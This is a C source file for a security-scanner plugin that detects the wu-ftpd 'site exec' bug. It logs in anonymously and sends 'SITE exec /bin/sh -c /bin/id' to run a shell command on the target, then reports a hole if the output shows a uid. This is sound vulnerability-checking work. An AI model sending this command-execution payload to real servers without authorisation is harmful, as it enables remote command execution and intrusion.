/*
 * 
 * ftp_site_exec
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "wu-ftpd 'site exec' bug"
#define DESC "\
Some wu-ftpd daemons are subject to the 'site exec' bug which\n\
allow a local user to gain root priviledges\n\
This plugin determines if the remote ftp server is subject to\n\
this bug\n\n\
Risk factor : medium (remotely) / high (locally)"
#define COPYRIGHT "no copyright"
#define SUMM "checks if the 'site exec' bug of wu-ftpd is present"





PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "FTP");
	return(0);
}
	
void getline(int soc, char * buf)
{
 int i = 0;
 char c;
 int flag = 0;
 
 bzero(buf, 2048);
 while(!flag)
 {
  read(soc, &c, 1);
  buf[i++] = c;
  if(c==0 || c=='\n' || i>2046)flag = 1;
 }
}

PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	int soc;
	char * buf;
	
	if(!plug_get_key(args, "ftp/anonymous_access"))return(0);
	if(host_get_port_state(args, 21)<=0)return(0);
	soc = open_sock_tcp(args, 21);
	if(soc<0)return(-1);
	buf = emalloc(2048);
       
	if(!ftp_log_in(soc, "ftp", "joe@"))
        {
          if(buf[3]=='-')while(buf[3]=='-')recv_line(soc, buf, 2048);
           sprintf(buf, "SITE exec /bin/sh -c /bin/id\n");
	   send(soc, buf, strlen(buf),0);
	   bzero(buf,2048);
	   getline(soc, buf);
	
	   if(strstr(buf, "uid"))
	    {
	   char * report = emalloc(200+strlen(buf));
	 
	   sprintf(report, 
"The 'site exec' bug is present on the remote server\n\
any local user can easily gain root, and it's possible\n\
to execute commands remotely.\n\
/bin/sh -c /bin/id gives :\n%s\n\
Solution : upgrade your wu-ftpd to a recent version", buf);
	
	  post_hole(args, 21, report);
	efree(&report);
         }
        }
        efree(&buf);
        socket_close(soc);
	return(0);
}

